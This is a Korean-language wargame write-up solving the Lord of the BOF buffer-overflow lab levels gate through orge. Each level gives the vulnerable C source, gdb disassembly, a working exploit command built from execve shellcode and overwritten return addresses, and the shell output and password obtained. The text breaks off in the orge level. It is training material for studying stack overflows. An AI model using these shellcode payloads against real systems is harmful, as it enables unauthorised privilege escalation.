settings

LOB Redhat은 bash의 버전이 낮아서 \xff를 \x00으로 처리한다. 이 사실을 알아도 문제를 풀다보면 가끔씩 까먹는 경우가 발생한다. 이를 원천적으로 해결하기 위해 각 유저의 bash를 bash2로 치환하자.

root / hackerschoolbof로 접속하여

vi /etc/passwd

:%s/bash/bash2/

를 통해 각 유저의 디폴트 쉘을 bash2로 바꾸자.

gate

password is gate

Problem

[gate@localhost gate]$ cat gremlin.c
/*
	The Lord of the BOF : The Fellowship of the BOF
	- gremlin
	- simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

Solution

문제에서 환경변수를 지우는 부분이 없으니 에그쉘을 이용해서 문제를 해결할 수 있을 것이다.

사용된 에그쉘 코드와 환경변수에서 에그쉘의 주소를 얻어오는 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main(void)
{
	char msg[512];
	int i;

	for(i=0;i<511;i++)
		msg[i]='\x90';

	msg[511]=0;

	msg[0]='E';
	msg[1]='G';
	msg[2]='G';
	msg[3]='=';

	for(i=0;i<strlen(shellcode);i++)
	{
		msg[511-strlen(shellcode)+i]=shellcode[i];
	}

	putenv(msg);

	system("/bin/bash2");
}
1
2
3
4
5
6
7
8
#include<stdio.h>

int main(void)
{
        char *addr;
        addr = getenv("EGG");
        printf("EGG addr : %p\n",addr);
}

이 바이너리를 gdb로 분석해보자.

(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,0x100
0x8048439 <main+9>:	cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:	jg     0x8048456 <main+38>
0x804843f <main+15>:	push   0x80484e0
0x8048444 <main+20>:	call   0x8048350 <printf>
0x8048449 <main+25>:	add    %esp,4
0x804844c <main+28>:	push   0
0x804844e <main+30>:	call   0x8048360 <exit>
0x8048453 <main+35>:	add    %esp,4
0x8048456 <main+38>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:	add    %eax,4
0x804845c <main+44>:	mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:	push   %edx
0x804845f <main+47>:	lea    %eax,[%ebp-256]
0x8048465 <main+53>:	push   %eax
0x8048466 <main+54>:	call   0x8048370 <strcpy>
0x804846b <main+59>:	add    %esp,8
0x804846e <main+62>:	lea    %eax,[%ebp-256]
0x8048474 <main+68>:	push   %eax
0x8048475 <main+69>:	push   0x80484ec
0x804847a <main+74>:	call   0x8048350 <printf>
0x804847f <main+79>:	add    %esp,8
0x8048482 <main+82>:	leave  
0x8048483 <main+83>:	ret  

buffer의 주소는 ebp-256인 것을 알 수 있다. 먼저 에그쉘을 실행시켜 환경변수에 쉘코드를 등록하고, 환경변수의 주소를 얻어온 뒤, 260바이트를 dummy 값으로 채우고 4바이트를 little endian에 맞춰 환경 변수의 주소로 넣어준다면 gremlin 권한의 쉘을 얻을 수 있다.

[gate@localhost gate]$ /tmp/eggshell/eggshell
[gate@localhost gate]$ ./gremli2
EGG addr : 0xbffffcc2
[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260+"\xc2\xfc\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA참
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world

gremlin

password is hello bof world

Problem

[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

Solution

gremlin 문제와 마찬가지로 해결할 수 있다.

0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,16
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x80484d0
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	push   %edx
0x804845c <main+44>:	lea    %eax,[%ebp-16]
0x804845f <main+47>:	push   %eax
0x8048460 <main+48>:	call   0x8048370 <strcpy>
0x8048465 <main+53>:	add    %esp,8
0x8048468 <main+56>:	lea    %eax,[%ebp-16]
0x804846b <main+59>:	push   %eax
0x804846c <main+60>:	push   0x80484dc
0x8048471 <main+65>:	call   0x8048350 <printf>
0x8048476 <main+70>:	add    %esp,8
0x8048479 <main+73>:	leave  
0x804847a <main+74>:	ret    
[gremlin@localhost gremlin]$ /tmp/eggshell/eggshell
[gremlin@localhost gremlin]$ cp /tmp/eggshell/geteggaddr ./cobol2
[gremlin@localhost gremlin]$ ./cobol2
EGG addr : 0xbffffcb5
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\xb5\xfc\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAA딱
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed

cobolt

password is hacking exposed

Problem

[cobolt@localhost cobolt]$ cat goblin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

Solution

이전 문제에서 argv[1]을 통해 bof를 했던것과 달리 stdin으로 bof를 한다. 이런 문제의 경우 gets() 함수가 끝난 뒤 EOF를 전송하기 때문에 쉘을 얻어도 EOF가 전송되면서 쉘이 바로 종료된다. 따라서 cat으로 따로 처리를 해주어야 한다.

cat은 stdin을 stdout으로 만들어주는 효과를 가지며 이를 파이프로 사용하여 쉘에 EOF 전송하지 않고 사용자의 입력을 쉘에 전송하는 효과를 얻을 수 있게한다.

0x80483f8 <main>:	push   %ebp
0x80483f9 <main+1>:	mov    %ebp,%esp
0x80483fb <main+3>:	sub    %esp,16
0x80483fe <main+6>:	lea    %eax,[%ebp-16]
0x8048401 <main+9>:	push   %eax
0x8048402 <main+10>:	call   0x804830c <gets>
0x8048407 <main+15>:	add    %esp,4
0x804840a <main+18>:	lea    %eax,[%ebp-16]
0x804840d <main+21>:	push   %eax
0x804840e <main+22>:	push   0x8048470
0x8048413 <main+27>:	call   0x804833c <printf>
0x8048418 <main+32>:	add    %esp,8
0x804841b <main+35>:	leave  
0x804841c <main+36>:	ret   
[cobolt@localhost cobolt]$ /tmp/eggshell/eggshell
[cobolt@localhost cobolt]$ cp /tmp/eggshell/geteggaddr ./gobli2
[cobolt@localhost cobolt]$ ./gobli2
EGG addr : 0xbffffcba
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xba\xfc\xff\xbf"';cat)  | ./goblin
AAAAAAAAAAAAAAAAAAAA빠
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof

goblin

password is hackers proof

Problem

[goblin@localhost goblin]$ cat orc.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

Solution

이전 문제들과 다르게 egg hunter가 적용되어 있어 eggshell로는 해결할 수 없고 buffer에 직접 쉘코드를 삽입하고 직접 뛰어야한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x8048630
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	nop    
0x8048524 <main+36>:	mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:	nop    
0x804852c <main+44>:	lea    %esi,[%esi*1]
0x8048530 <main+48>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:	lea    %edx,[%eax*4]
0x804853a <main+58>:	mov    %eax,%ds:0x8049750
0x804853f <main+63>:	cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:	jne    0x8048547 <main+71>
0x8048545 <main+69>:	jmp    0x8048587 <main+135>
0x8048547 <main+71>:	mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>:	lea    %edx,[%eax*4]
0x8048551 <main+81>:	mov    %eax,%ds:0x8049750
0x8048556 <main+86>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>:	push   %edx
0x804855a <main+90>:	call   0x80483f0 <strlen>
0x804855f <main+95>:	add    %esp,4
0x8048562 <main+98>:	mov    %eax,%eax
---Type <return> to continue, or q <return> to quit---
0x8048564 <main+100>:	push   %eax
0x8048565 <main+101>:	push   0
0x8048567 <main+103>:	mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>:	lea    %edx,[%eax*4]
0x8048571 <main+113>:	mov    %eax,%ds:0x8049750
0x8048576 <main+118>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>:	push   %edx
0x804857a <main+122>:	call   0x8048430 <memset>
0x804857f <main+127>:	add    %esp,12
0x8048582 <main+130>:	inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>:	jmp    0x8048530 <main+48>
0x8048587 <main+135>:	mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>:	add    %eax,4
0x804858d <main+141>:	mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>:	add    %edx,47
0x8048592 <main+146>:	cmp    BYTE PTR [%edx],0xbf
0x8048595 <main+149>:	je     0x80485b0 <main+176>
0x8048597 <main+151>:	push   0x804863c
0x804859c <main+156>:	call   0x8048410 <printf>
0x80485a1 <main+161>:	add    %esp,4
0x80485a4 <main+164>:	push   0
0x80485a6 <main+166>:	call   0x8048420 <exit>
0x80485ab <main+171>:	add    %esp,4
0x80485ae <main+174>:	mov    %esi,%esi
0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]
0x80485bc <main+188>:	push   %eax
---Type <return> to continue, or q <return> to quit---
0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]
0x80485c8 <main+200>:	push   %eax
0x80485c9 <main+201>:	push   0x8048659
0x80485ce <main+206>:	call   0x8048410 <printf>
0x80485d3 <main+211>:	add    %esp,8
0x80485d6 <main+214>:	leave  
0x80485d7 <main+215>:	ret    

buf의 위치는 ebp-40이다. strcpy로 argv[1]을 복사하기 때문에 buf에 채워넣을 수 있는 스트링의 크기에 제한이 없다. 따라서 argv[1]을 dummy string(44) + Shellcode addr(4) + Nop(200) + Shellcode(25) + Nop(200)으로 총 473 바이트로 채울 수 있다.

Shellcode의 주소를 알아보기 위해 gdb를 이용하자 여기서 orc 자체는 디버깅 권한이 없으므로 or2로 복사하여 진행했다.

[goblin@localhost goblin]$ cp orc or2
[goblin@localhost goblin]$ gdb -q ~/or2
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1

.................

0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]
0x80485c8 <main+200>:	push   %eax
0x80485c9 <main+201>:	push   0x8048659
0x80485ce <main+206>:	call   0x8048410 <printf>
0x80485d3 <main+211>:	add    %esp,8
0x80485d6 <main+214>:	leave  
0x80485d7 <main+215>:	ret    
0x80485d8 <main+216>:	nop    
0x80485d9 <main+217>:	nop    
0x80485da <main+218>:	nop    
0x80485db <main+219>:	nop    
0x80485dc <main+220>:	nop    
0x80485dd <main+221>:	nop    
0x80485de <main+222>:	nop    
0x80485df <main+223>:	nop    
End of assembler dump.
(gdb) b * main+215
Breakpoint 1 at 0x80485d7
(gdb) r `python -c 'print "A"*44+"BBBB"+"C"*425'`
Starting program: /home/goblin/or2 `python -c 'print "A"*44+"BBBB"+"C"*425'`
stack is still your friend.

Program exited normally.
(gdb) r `python -c 'print "A"*44+"\xbf"*4+"C"*425'`
Starting program: /home/goblin/or2 `python -c 'print "A"*44+"\xbf"*4+"C"*425'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA옜옜CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Breakpoint 1, 0x80485d7 in main ()
(gdb) i r
Ambiguous info command "r": registers, remote-process.
(gdb) info registers
eax            0x1da	474
ecx            0x400	1024
edx            0x40106980	1074817408
ebx            0x401081ec	1074823660
esp            0xbffff93c	-1073743556
ebp            0x41414141	1094795585
esi            0x4000ae60	1073786464
edi            0xbffff984	-1073743484
eip            0x80485d7	134514135
eflags         0x286	646
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x0	0
cwd            0xffff037f	-64641
swd            0xffff0000	-65536
twd            0x0	0
fip            0x401e0178	1075708280
fcs            0x0	0
fopo           0x401f1648	1075779144
fos            0x0	0
(gdb) x/wx $esp
0xbffff93c:	0xbfbfbfbf
(gdb)
0xbffff940:	0x43434343

argv[1]에 473바이트를 넣으면 쉘코드의 시작 주소가 0xbffff940 임을 알 수 있다. 이를 통해 익스플로잇을 다음과 같이 작성할 수 있다.

“A”44 (dummy byte) +”\x40\xf9\xff\xbf” (shellcode addr) +”\x90”200 (Nop Sled) +”\x90”200+”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80” (shellcode) +”\x90”200 (Nop Sled)

[goblin@localhost goblin]$ ~/orc `python -c 'print "A"*44+"\x40\xf9\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*200'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@?퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata

orc

password is cantata

Problem

[orc@localhost orc]$ cat wolfman.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - wolfman
        - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

Solution

이전 문제에서 buffer 앞 부분을 비워주는 코드가 추가되었다. 하지만 이전 문제를 해결할 때 이미 버퍼 뒷영역을 이용하여 풀었기 때문에 익스플로잇에서 쉘코드 주소만 변경될 뿐 같은 방법으로 해결할 수 있다.

[orc@localhost orc]$ cp wolfman wolfma2
[orc@localhost orc]$ gdb -q ~/wolfma2
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x8048640
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4

.............

0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]
0x80485c8 <main+200>:	push   %eax
0x80485c9 <main+201>:	push   0x8048669
0x80485ce <main+206>:	call   0x8048410 <printf>
0x80485d3 <main+211>:	add    %esp,8
0x80485d6 <main+214>:	push   40
0x80485d8 <main+216>:	push   0
0x80485da <main+218>:	lea    %eax,[%ebp-40]
0x80485dd <main+221>:	push   %eax
0x80485de <main+222>:	call   0x8048430 <memset>
0x80485e3 <main+227>:	add    %esp,12
0x80485e6 <main+230>:	leave  
0x80485e7 <main+231>:	ret    
0x80485e8 <main+232>:	nop    
0x80485e9 <main+233>:	nop    
0x80485ea <main+234>:	nop    
0x80485eb <main+235>:	nop    
0x80485ec <main+236>:	nop    
0x80485ed <main+237>:	nop    
0x80485ee <main+238>:	nop    
0x80485ef <main+239>:	nop    
End of assembler dump.
(gdb) b *main+231
Breakpoint 1 at 0x80485e7
(gdb) r `python -c 'print "\xbf"*473'`
Starting program: /home/orc/wolfma2 `python -c 'print "\xbf"*473'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Breakpoint 1, 0x80485e7 in main ()
(gdb) x/wx $esp
0xbffff94c:	0xbfbfbfbf
(gdb)
0xbffff950:	0xbfbfbfbf

쉘코드 시작 주소는 0xbffff950이다.

익스플로잇 코드는 다음과 같이 작성할 수 있다.

“A”44 (dummy byte) +”\x50\xf9\xff\xbf” (shellcode addr) +”\x90”200 (Nop Sled) +”\x90”200+”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80” (shellcode) +”\x90”200 (Nop Sled)

[orc@localhost orc]$ ~/wolfman `python -c 'print "A"*44+"\x50\xf9\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*200'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                       ?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna

wolfman

password is love eyuna

Problem

[wolfman@localhost wolfman]$ cat darkelf.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

Solution

이 문제는 argv[1]의 길이 체크까지 추가되었다. 하지만 argc 즉 argv의 개수는 고정되어 있지 않으므로 argv[2]에 쉘코드를 넣고 점프하면 된다.

이전 문제들과 마찬가지로 gdb를 통해 쉘코드의 주소를 확인해보자.

[wolfman@localhost wolfman]$ cp darkelf darkel2
[wolfman@localhost wolfman]$ gdb -q darkel2
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x8048670
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	nop    
0x8048524 <main+36>:	mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:	nop    
0x804852c <main+44>:	lea    %esi,[%esi*1]
0x8048530 <main+48>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:	lea    %edx,[%eax*4]
0x804853a <main+58>:	mov    %eax,%ds:0x80497a4
0x804853f <main+63>:	cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:	jne    0x8048547 <main+71>
0x8048545 <main+69>:	jmp    0x8048587 <main+135>
0x8048547 <main+71>:	mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>:	lea    %edx,[%eax*4]
0x8048551 <main+81>:	mov    %eax,%ds:0x80497a4
0x8048556 <main+86>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>:	push   %edx
0x804855a <main+90>:	call   0x80483f0 <strlen>
0x804855f <main+95>:	add    %esp,4
0x8048562 <main+98>:	mov    %eax,%eax
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+6
Breakpoint 1 at 0x8048506
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "A"*425'`
Starting program: /home/wolfman/darkel2 `python -c 'print "\xbf"*48'` `python -c 'print "A"*425'`

Breakpoint 1, 0x8048506 in main ()
(gdb) x/wx $ebp+0xc
0xbffff924:	0xbffff964
(gdb) x/s 0xbffff964+8
0xbffff96c:	 "??
(gdb) x/wx 0xbffff964
0xbffff964:	0xbffffa63
(gdb)
0xbffff968:	0xbffffa79
(gdb)
0xbffff96c:	0xbffffaaa
(gdb) x/s 0xbffffaaa
0xbffffaaa:	 'A' <repeats 200 times>...

argv[2] 즉 쉘코드의 주소는 0xbffffaaa이다.

따라서 다음과 같은 익스플로잇 코드를 작성할 수 있다.

argv[1] = “A”*44 (dummy byte) +”\xaa\xfa\xff\xbf” (shellcode addr)

argv[2] = “\x90”200 (Nop Sled) +”\x90”200+”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80” (shellcode) +”\x90”*200 (Nop Sled)

[wolfman@localhost wolfman]$ ~/darkelf `python -c 'print "A"*44+"\xaa\xfa\xff\xbf"'` `python -c 'print "\x90"*200+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*200'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed

darkelf

password is kernel crashed

Problem

[darkelf@localhost darkelf]$ cat orge.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// here is changed!
	if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

이전 문제에서 argv[0] 길이 체크만 추가되었다. argv[0]은 보통 실행되는 프로그램의 이름 자체이다. 따라서 symbolic link를 이용하여 프로그램의 이름을 바꾸면 된다.

[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*63'`
[darkelf@localhost darkelf]$ ~/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA hi
stack is still your friend.

symbl link를 이용해 argv[0] 길이 체크를 통과할 수 있음을 볼 수 있다.

그런 다음 앞의 문제와 같은 방식으로 문제를 풀어내면 된다.

gdb를 통해 argv[2]의 주소를 알아보자.

[darkelf@localhost darkelf]$ cp orge `python -c 'print "B"*63'`
[darkelf@localhost darkelf]$ gdb -q BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
(gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "A"*425'`
Starting program: /home/darkelf/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `python -c 'print "\xbf"*48'` `python -c 'print "A"*425'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜

Program received signal SIGSEGV, Segmentation fault.
0xbfbfbfbf in ?? ()
(gdb) disass main
Dump of assembler code for function main:
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %esp,%ebp
0x8048503 <main+3>:	sub    $0x2c,%esp
0x8048506 <main+6>:	cmpl   $0x1,0x8(%ebp)
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   $0x8048690
